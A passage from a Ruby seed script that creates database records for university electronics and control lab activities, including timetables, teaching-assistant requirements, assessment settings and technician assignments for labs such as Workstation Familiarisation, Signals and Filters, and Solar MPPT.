max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a310.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a310.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a310.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a310.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n\n\n a311 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE218\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 1)\n at311 = ActivityTimetable.where(activity_id: a311.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a311.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a311.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a311.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a311.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a311.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a312 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: false, in_drive: false, user_id: 5)\n at312 = ActivityTimetable.where(activity_id: a312.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a312.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a312.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a312.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_form.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a312.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a312.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a313 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"135\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS1\", archived: false, in_drive: false, user_id: 1)\n at313 = ActivityTimetable.where(activity_id: a313.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a313.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a313.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a313.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a313.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a313.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a314 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"135\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS1\", archived: false, in_drive: false, user_id: 5)\n at314 = ActivityTimetable.where(activity_id: a314.id).first_or_create!(duration: 180, kit_prep_time: 350, min_week_num: 1, max_week_num: 3, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: 140, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a314.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"WS1\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a314.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a314.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_mole.id, num_assess: 2)\n ActivityTech.where(activity_id: a314.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a314.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a315 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"136E\").first_or_create!(name: \"Signals and Filters\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at315 = ActivityTimetable.where(activity_id: a315.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"To follow modulation\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a315.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a315.id).first_or_create!(criteria: \"Must be confident in frequency domain signal analysis\n Must have knowledge of simple modulation formats (amplitude modulation etc.)\n Must be able to explain frequency domain filtering effects (aliasing etc.) and their importance in the modulation/demodulation process\n Must have basic knowledge of first order passive filter construction i.e. RC circuits\",\n job_desc:\"Help students explore the response of filters in the time and frequency domain\n Help students construct a circuit to modulate audio signals onto a carrier frequency\n Advise students on appropriate choice of filter properties (cut-off frequency, roll-off etc.)\n Troubleshoot student circuit constructions and explain the effects of fitering on the signal\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a315.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a315.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a315.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a316 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE227\").first.id, code: \"136E\").first_or_create!(name: \"Signals and Filters\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at316 = ActivityTimetable.where(activity_id: a316.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"To follow modulation\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a316.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a316.id).first_or_create!(criteria: \"Must be confident in frequency domain signal analysis\n Must have knowledge of simple modulation formats (amplitude modulation etc.)\n Must be able to explain frequency domain filtering effects (aliasing etc.) and their importance in the modulation/demodulation process\n Must have basic knowledge of first order passive filter construction i.e. RC circuits\",\n job_desc:\"Help students explore the response of filters in the time and frequency domain\n Help students construct a circuit to modulate audio signals onto a carrier frequency\n Advise students on appropriate choice of filter properties (cut-off frequency, roll-off etc.)\n Troubleshoot student circuit constructions and explain the effects of fitering on the signal\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a316.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a316.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a316.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a317 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE118\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at317 = ActivityTimetable.where(activity_id: a317.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 6, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a317.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a317.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a317.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a317.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a317.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a318 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE221\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at318 = ActivityTimetable.where(activity_id: a318.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 6, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"For direct entry 2nd year students only\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a318.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a318.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a318.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a318.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a318.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a319 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"GEE102\").first.id, code: \"137\").first_or_create!(name: \"Clean room intro - micro-measurement\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at319 = ActivityTimetable.where(activity_id: a319.id).first_or_create!(duration: 150, kit_prep_time: 180, min_week_num: 1, max_week_num: 12, pref_room_id: $room_cr.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 16, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a319.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a319.id).first_or_create!(criteria: \"Must have an interest in basic clean room operations\n Must understand simple resistivity measurements\n Must be confident in estimating experimental error and calculating error propagation\",\n job_desc:\"Introduce students to the clean room environment and explain the need for the safety and environmental precautions in place.\n Demonstrate key pieces of cleanroom equipment to the students. Assist the students with the use of probe stations to make resistivity measurements and help them analyse their data.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a319.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a319.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a319.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a320 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"138\").first_or_create!(name: \"Introduction to Arduino and IoT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at320 = ActivityTimetable.where(activity_id: a320.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 30, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a320.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a320.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must have experience in programming Arduino using the Arduino IDE\n Must be comfortable debugging and troubleshooting student code and circuits\",\n job_desc:\"Assist students in constructing simple circuits on a breadboard with an Arduino controller. Help students to debug and troubleshoot their Arduino code.\n Help students working through a series of exercises to introduce the Arduino platform, leading to an open construction task at the end of the lab.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a320.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a320.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a320.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a321 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"139\").first_or_create!(name: \"Solar Energy\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at321 = ActivityTimetable.where(activity_id: a321.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a321.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a321.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must be familiar with solar cell operation (short circuit current/open circuit voltage/serial and parallel panels/bypass diodes)\n Must be competent with use of digital multimeter\",\n job_desc:\"Assist students in characterising individual solar cells (short circuit current/open circuit voltage/fill factor under LED, halogen and coloured filtered illumination sources).\n Assist students in combining individual cells into panels in series and parallel for further characterisation.\n Explain the need for practical considerations such as bypass diodes and demonstrate their necessity in partial shaded use of solar panels\n Help students construct a solar panel circuit to drive a motor and propeller\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a321.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a321.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a321.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a322 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"140\").first_or_create!(name: \"Building a Solar MPPT\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at322 = ActivityTimetable.where(activity_id: a322.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 60, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 80, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a322.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a322.id).first_or_create!(criteria: \"Must have experience in building circuits on breadboards\n Must have experience in programming Arduino using the Arduino IDE\n Must be comfortable debugging and troubleshooting student code and circuits\n Ideally familiar with solar maximum power point trackers and associated algorithms\",\n job_desc:\"Help students recall skills from prior labs (Arduino intro, and solar cell characterisation) to construct a maximum power point tracking system.\n Assist the students in writing Arduino code to monitor the voltage and current produced by a solar panel under a dynamic load.\n Help the students implement a maximum power point tracking algorithm by varying the panel load for maximum power output\n Troubleshoot both circuit hardware problems and issues with student code\n Help students test their hardware and software designs and suggest improvements\", jobshop_desc: \"\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a322.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a322.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a322.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a323 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR231\").first.id, code: \"200\").first_or_create!(name: \"Analysis and Design of Feedback Control Systems\",\n name_abrv: \"AMR231TIMESERVO\", archived: false, in_drive: false, user_id: 3)\n at323 = ActivityTimetable.where(activity_id: a323.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a323.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a323.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a323.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a323.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a323.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a324 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"201\").first_or_create!(name: \"1st Semester Design Project\",\n name_abrv: \"ACS231 - Design Project 1\", archived: true, in_drive: false, user_id: 2)\n at324 = ActivityTimetable.where(activity_id: a324.id).first_or_create!(duration: 180, kit_prep_time: 90, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 20, setup_time: 20, takedown_time: 20, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a324.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a324.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During these project sessions, the students will develop a mechatronics project\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a324.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a324.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a325 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"202\").first_or_create!(name: \"Mechatronics Design Project\",\n name_abrv: \"ACS231 - Design Project 2\", archived: false, in_drive: false, user_id: 2)\n at325 = ActivityTimetable.where(activity_id: a325.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"Equipment would need to be moved between labs\",\n capacity: 120, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a325.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a325.id).first_or_create!(criteria: \"Must have experience of programming Arduino devices with C, and a working knowledge of electronic circuit design and construction, and be able to debug problems.\",\n job_desc:\"During these project sessions, the students will develop a mechatronics project\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a325.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a325.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n\n\n a326 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS134\").first.id, code: \"203\").first_or_create!(name: \"Basic Logic and Computer Based Decision Making\",\n name_abrv: \"Logic Lab\", archived: false, in_drive: false, user_id: 1)\n at326 = ActivityTimetable.where(activity_id: a326.id).first_or_create!(duration: 180, kit_prep_time: 180, min_week_num: 6, max_week_num: 12, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 90, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a326.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a326.id).first_or_create!(criteria: \"Previous LabVIEW experience Essential\",\n job_desc:\"This laboratory is an introduction into basic logic circuits, (AND, OR, etc and simple sequential circuits, SR latch) . This Lab will also link basic computer based decision making, (simple if and case statements).\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a326.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a326.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a327 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"204\").first_or_create!(name: \"Design and Build Project - Hardware\",\n name_abrv: \"ShaddowBots-Hard\", archived: false, in_drive: false, user_id: 4)\n at327 = ActivityTimetable.where(activity_id: a327.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a327.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: 